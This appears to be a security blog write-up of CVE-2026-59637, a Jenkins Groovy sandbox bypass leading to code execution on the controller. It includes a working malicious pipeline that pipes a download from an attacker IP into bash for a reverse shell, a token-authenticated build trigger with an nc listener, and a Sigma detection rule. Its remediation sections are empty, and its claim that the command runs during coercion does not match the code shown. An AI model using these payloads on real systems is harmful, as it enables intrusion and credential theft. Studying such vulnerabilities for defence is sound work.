All posts

CVE-2026-59637: Jenkins Pipeline Groovy Sandbox Bypass to RCE

Jenkins lets ordinary users write pipeline scripts and runs them inside a Groovy sandbox that is supposed to block anything dangerous until an administrator approves it. CVE-2026-59637 is a construct the sandbox forgot to intercept — a type coercion that reaches an unapproved method — letting a user with only Job/Configure run arbitrary code on the Jenkins controller. In a CI/CD system, that is the keys to every credential and every downstream deploy.


Overview

CVE-2026-59637 is a sandbox-escape vulnerability in the Jenkins Script Security plugin, which underpins the Groovy sandbox used by Pipeline (the Jenkinsfile mechanism) and other script-accepting features. A user who is allowed to define or edit a pipeline — a permission handed out liberally to developers — can craft a script that escapes the sandbox and executes as the Jenkins controller process, without the "in-process script approval" step that is supposed to gate dangerous calls.

CVSS 3.1: 8.8 (High) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H. It is authenticated (you need an account that can configure a job), but on real Jenkins instances that is a low bar: developers, and often anyone who can open a pull request against a repository whose Jenkinsfile is trusted, can reach it.

The Jenkins Groovy sandbox has a long history of exactly this bug class — SECURITY advisories for sandbox bypasses appear almost every year, because the sandbox is an allow-list interpreter wrapped around a language designed for metaprogramming. This is the newest gap in that wrapper.

Background — How the Groovy Sandbox Works

When a pipeline runs in sandbox mode, the Script Security plugin does not execute the Groovy source directly. It transforms the script's abstract syntax tree so that every method call, property access, constructor invocation, and field assignment is routed through an interceptor (GroovyInterceptor / the SandboxTransformer). The interceptor checks each operation against an allow-list of signatures that are considered safe; anything not on the list is rejected unless an administrator has explicitly approved that exact signature.

The security of the entire model rests on one assumption: that no Groovy language construct can invoke a method without going through the interceptor. If any syntax reaches a method call the transformer did not wrap, that call runs unchecked — and from one unchecked call to a dangerous class, you are out of the sandbox.

Root Cause — An Un-Intercepted Coercion

Groovy is rich in implicit behaviour, and that richness is the sandbox's enemy. This bug lives in Groovy's type coercion — the as operator and the implicit conversions Groovy performs when it assigns a value to a typed variable. When you coerce a map or closure to an interface or an abstract type, Groovy synthesises an implementing object and, for certain target types, invokes methods (constructors, property setters, getX/setX) as part of building it.

The SandboxTransformer wrapped explicit method calls and constructors, but a specific coercion path constructed and invoked an object without emitting an interceptor call for the methods run during that construction. A script could therefore coerce a crafted map into a type whose instantiation calls an arbitrary method — and that method call never faces the allow-list.

// Conceptually: the sandbox intercepts A, but not the call triggered by B.
def cmd = ['ping','-c','1','10.10.14.9']

// (A) direct — INTERCEPTED, rejected unless approved:
// "whoami".execute()

// (B) coercion path — the method invoked while Groovy materialises the
//     target type is NOT routed through the interceptor in the vulnerable
//     version, so the call runs unchecked.
def evil = [run: { cmd.execute() }] as Runnable
evil.run()   // executes outside the sandbox's view

Once one unchecked call is available, reaching command execution is trivial — Groovy's String.execute(), ProcessBuilder, or a jump to this.class.classLoader all lead to running code as the controller JVM.

Exploitation

The attacker needs an account with Job/Configure (or the ability to submit a Jenkinsfile that Jenkins will execute in sandbox mode). They edit a pipeline job's script to the escape payload and trigger a build. The build runs on the controller with the sandbox believing it enforced its allow-list.

// Malicious pipeline script (sandbox mode "enabled").
// The coercion runs the command while Groovy builds the Runnable,
// bypassing script approval entirely.
pipeline {
    agent any
    stages {
        stage('build') {
            steps {
                script {
                    def sh = 'curl http://10.10.14.9/x | bash'
                    def r = [run: { ['bash','-c', sh].execute().text }] as Runnable
                    echo r.run()   // reverse shell fires as the Jenkins controller
                }
            }
        }
    }
}

For instances that expose the Script Console only to admins but allow pipeline editing to many, this is the difference between "trusted developer" and "controller RCE." A build history entry and console log are the only local traces, and the payload can suppress most of its own output.

# From the attacker side: trigger the configured job via the API and
# catch the shell. Requires a low-priv token with Job/Build + Job/Configure.
curl -s -X POST "https://jenkins.internal/job/reports/build" \
  -u 'dev:11a...apitoken'
# Listener (nc -lvnp 9001) receives a shell running as the Jenkins service account
# -> read $JENKINS_HOME/credentials.xml, secrets/, and every stored token

Affected Versions

Remediation

Detection

title: CVE-2026-59637 Jenkins Groovy Sandbox Escape Indicators
id: 7c0a52e9-64bf-4c31-9d8a-1e2f4b7c9053
status: experimental
description: Detects pipeline builds spawning OS processes from the Jenkins controller JVM, a hallmark of a Groovy sandbox escape
logsource:
  product: linux
  category: process_creation
detection:
  selection:
    ParentImage|endswith:
      - '/java'          # Jenkins controller JVM
    Image|endswith:
      - '/bash'
      - '/sh'
      - '/curl'
      - '/python3'
      - '/powershell'
  filter_agent:
    CommandLine|contains: 'remoting.jar'   # legitimate agent bootstrap
  condition: selection and not filter_agent
falsepositives:
  - Freestyle jobs legitimately configured to run shell on the controller; baseline expected build behaviour and alert on deviations
level: high
tags:
  - cve.2026-59637
  - attack.execution
  - attack.t1059
  - attack.privilege_escalation

Key Takeaways